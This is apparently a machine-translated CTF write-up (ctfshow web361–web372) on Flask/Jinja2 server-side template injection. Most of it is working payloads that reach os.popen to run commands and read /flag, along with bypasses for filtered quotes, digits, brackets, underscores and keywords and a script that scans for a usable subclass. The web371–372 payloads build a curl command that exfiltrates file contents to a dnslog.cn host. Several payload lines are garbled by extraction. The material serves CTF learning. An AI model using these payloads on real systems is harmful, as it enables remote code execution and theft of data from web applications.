ctfshow SSTI web361-web372 wp

Conoce SSTI

Inyección de plantilla ssti de Flask de cero a entrada

Bypass de inyección de plantilla SSTI (avanzado)

Luego mueva las notas del Maestro Feng CTFshow-WEB entry-SSTI

__class__            类的一个内置属性,表示实例对象的类。
__base__             类型对象的直接基类
__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__()     返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__             初始化类,返回的类型是function
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{
    
    {
    
    lipsum.__globals__['os'].popen('ls').read()}}
current_app          应用上下文,一个全局变量。

request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1   	 get传参
request.values.x1 	 所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1   	 post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		 post传参	(Content-Type:a/b)
request.json		 post传json  (Content-Type: application/json)
config               当前application的所有配置。此外,也可以这样{
    
    {
    
     config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g                    {
    
    {
    
    g}}得到<flask.g of 'flask_ssti'>

Filtros de uso común



int():将值转换为int类型;

float():将值转换为float类型;

lower():将字符串转换为小写;

upper():将字符串转换为大写;

title():把值中的每个单词的首字母都转成大写;

capitalize():把变量值的首字母转成大写,其余字母转小写;

trim():截取字符串前面和后面的空白字符;

wordcount():计算一个长字符串中单词的个数;

reverse():字符串反转;

replace(value,old,new): 替换将old替换为new的字符串;

truncate(value,length=255,killwords=False):截取length长度的字符串;

striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;

escape()或e:转义字符,会将<>等符号转义成HTML中的符号。显例:content|escape或content|e。

safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {
    
    {
    
    '<em>hello</em>'|safe}}list():将变量列成列表;

string():将变量转换成字符串;

join():将一个序列中的参数值拼接成字符串。示例看上面payload;

abs():返回一个数值的绝对值;

first():返回一个序列的第一个元素;

last():返回一个序列的最后一个元素;

format(value,arags,*kwargs):格式化字符串。比如:{
    
    {
    
     "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!

length():返回一个序列或者字典的长度;

sum():返回列表内数值的和;

sort():返回排序后的列表;

default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

length()返回字符串的长度,别名是count

web361

名字就是考点

Así que pasa ?name=

Pasa ?name={ {10*10}} y echo 100

Aquí use la clase os._wrap_close para escribir un script para encontrarlo. Por supuesto, debería haber otros métodos, pero acabo de aprender y probablemente no lo sepa.

import requests
from tqdm import tqdm

for i in tqdm(range(233)):
    url = 'http://0778f666-ac38-4c4c-9eaf-651f8b2ee0d4.challenge.ctf.show/?name={
    
    {%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
    r = requests.get(url=url).text
    if('os._wrap_close' in r):
        print(i)

salida 132

Luego use .init.globals para encontrar la clase os . inicialización init, búsqueda global globals

?name={
   
   {"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}

Puedes ver popen, así que úsalo para ejecutar el comando

?name={
   
   {"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

inserte la descripción de la imagen aquí

repitió con éxito. carga útil final

?name={
   
   {"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web362

No se puede usar la carga útil anterior

Probé el método de dicotomía y parece filtrar los números.

Así que Baidu buscó ssti para filtrar los números y descubrió que encontré el blog del Maestro Yu. Al final del artículo, escribí un número de ancho completo en lugar del número normal . El siguiente es el código de conversión

def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)

Intente reemplazar los números en la carga útil de la pregunta anterior con números de ancho completo, éxito

?name={
   
   {"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web363

No se puede utilizar el payload de la pregunta anterior. La prueba encontró que se filtraron las comillas simples y dobles

Baidu buscó en ssti para filtrar las comillas y descubrió que había dos métodos de omisión, uno es request y el otro es chr.

De hecho, es equivalente al empalme en la ejecución del comando.

?a=os&b=popen&c=cat /flag&name={
   
   {url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}

web364

Argumentos filtrados basados ​​en lo anterior

request.args es un parámetro GET, puede consultar la descripción al principio del artículo y puede usar otros métodos para reemplazar argumentos, como cookies

?name={
   
   {url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}

Cookie:a=os;b=popen;c=cat /flag

inserte la descripción de la imagen aquí

web365

La prueba filtra los corchetes [] y modifica directamente la carga útil anterior

?name={
   
   {url_for.__globals__.os.popen(request.cookies.a).read()}}

Cookie:a=cat /flag

inserte la descripción de la imagen aquí

web366

La prueba filtra los guiones bajos y omite url_for y __globals__ sobre la base de lo anterior

El método attr se usa aquí: request|attr(request.cookies.a) es equivalente a request["a"]

Así que construye la carga útil

?name={
   
   {(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

Cookie:a=__globals__;b=cat /flag

inserte la descripción de la imagen aquí

web367

La prueba encontró que el filtrado del sistema operativo continúa sin pasar por alto el método attr

?name={
   
   {(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}

Cookie:a=__globals__;b=os;c=cat /flag

inserte la descripción de la imagen aquí

web368

368prohibición eliminada { {

Recuerdo que cuando hice la pregunta de qué juego antes, también baneé { { y usé print para omitirlo.

?name={% print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %}

Cookie:a=__globals__;b=os;c=cat /flag

inserte la descripción de la imagen aquí

web369

Después de la prueba, la solicitud fue prohibida.

{%%} ejecuta código y asigna caracteres a variables. Aquí está el blog del Maestro Yu

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

{
    
    % set po=dict(po=a,p=a)|join%}  #通过dict()和join构造pop

{
    
    % set a=(()|select|string|list)|attr(po)(24)%} #a等价于下划线

{
    
    % set ini=(a,a,dict(init=a)|join,a,a)|join()%}  #通过拼接得到__init__
#glo、geti、built同理
#再往后,调用chr,构造/flag,读取文件

web370

370ban eliminó los números y los reemplazó con los números de ancho completo mencionados anteriormente

Cambia aquí el script del Maestro Yu para facilitar la salida de los números que queramos

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
while 1:
    t = ''
    s = input("输入想要转换的数字字符串:")
    for i in s:
        t += half2full(i)
    print(t)
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

web371

Después de la prueba, la impresión se filtra, aquí está el blog de atao CTFSHOW SSTI preguntas de pincel

Use dnslog para sacar, y luego para simplemente omitir el número, el enlace dnslog generado no debe tener números

?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}{%set k=dict(eeeeeeeee=a)|join|count%}{%set l=dict(eeeeeeee=a)|join|count%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(tgmmmm=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}ataoyyds{%endif%}

inserte la descripción de la imagen aquí

web372

reemplazar recuento por longitud

?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}{%set k=dict(eeeeeeeee=a)|join|length%}{%set l=dict(eeeeeeee=a)|join|length%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(xsbxxp=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}ataoyyds{%endif%}

inserte la descripción de la imagen aquí

algún desvío

Puede consultar CTF SSTI (inyección de plantilla de servidor) y, por cierto, adjuntar una imagen en el enlace

inserte la descripción de la imagen aquí

filtrar solo[]

Puede usar la función pop() para eliminar un elemento de una lista y devolver el valor de ese elemento

filtro [] y .(punto)

Utilice la función |attr(). si request.__class__se cambia arequest|attr("__class__")

filtrar palabras clave

Omita la concatenación de cadenas, __getattribute__cuando use la instancia para acceder a las propiedades, llame a este método

Tal como__getattribute__('__c'+'lass__')

filtro{ {}}

Se puede omitir usando {%%}. La instrucción if se puede ejecutar en el medio, lo que se puede combinar con inyección ciega o eliminación.

números de filtro

Use el bypass de ancho completo mencionado anteriormente

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
while 1:
    t = ''
    s = input("输入想要转换的数字字符串:")
    for i in s:
        t += half2full(i)
    print(t)

filtro chr

Use dict() y únase para empalmar dict(cl=a,ass=b)|join()

O busque directamente de las variables existentes, como usar pop

Filtrar comillas simples y dobles

chr o solicitar el bypass. Tal como?a=os&b=popen&c=whoami&name={ {url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}

Supongo que te gusta

Origin blog.csdn.net/qq_42880719/article/details/122699710
Recomendado
Clasificación